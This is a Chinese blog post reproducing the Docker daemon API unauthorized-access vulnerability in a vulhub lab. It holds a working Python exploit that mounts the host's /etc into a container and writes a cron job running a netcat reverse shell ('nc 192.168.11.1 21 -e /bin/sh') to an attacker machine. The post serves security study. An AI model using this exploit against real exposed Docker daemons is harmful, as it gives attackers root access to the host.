docker daemon api 未授权访问漏洞

docker daemon api 未授权访问漏洞

1.漏洞影响版本

随意启动一个docker容器

2.漏洞危害

crontabs反弹shell

3.漏洞POC
cd /root/vulhub/docker/unauthorized-rce                //进入本次复现的漏洞目录
docker-compose build
docker-compose up -d                                   //docker-compose搭建环境

访问your-ip:2375/version验证是否搭建成功

搭建成功

进入docker的环境,修改虚拟机的docker源,否则500错误

mkdir -p /etc/docker
tee /etc/docker/daemon.json <<-'EOF'
{
  "registry-mirrors": ["https://l10nt4hq.mirror.aliyuncs.com"]
}
EOF
500错误

使用python脚本,建立root的sh shell反弹,脚本如下:

import docker

client = docker.DockerClient(base_url='http://192.168.11.160:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * * /usr/bin/nc 192.168.11.1 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
getshell
4.复盘

漏洞出现原因
利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
总结
1.crontab -e编辑用户定时任务
2.crontab -l查看用户定时任务
3.firefox查看JSON格式的返回页更好看
4.本次使用nc反弹sh shell没有交互式命令行

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 0x00 漏洞原因 Kubernetes 的服务在正常启动后会开启两个端口: Localhost Port (默认...
    陆行鸟阅读 16,907评论 0 2
  • 一、MongoDB MongoDB默认端口27017,当配置成无验证时,存在未授权访问,使用msf中的scanne...
    Instu阅读 16,751评论 0 2
  • 0x01 核心概念 Docker镜像类似于虚拟机镜像,可以理解为一个面向Docker引擎的只读模板,包含了文件系统...
    闲云逸心阅读 10,302评论 0 9
  • 一、容器(Container) 简单来说,容器是对应用程序及其依赖库的一种封装。 乍看上去,容器就像一个轻量级的虚...
    rollingstarky阅读 2,865评论 0 1
  • 作业: 有人说:吃饭不要知识,天生就有的,人天生就知道害怕,这是遗传下来的,也不是知识。有些人做的事情,机器也可以...
    洁_寞碎阅读 1,535评论 0 0

友情链接更多精彩内容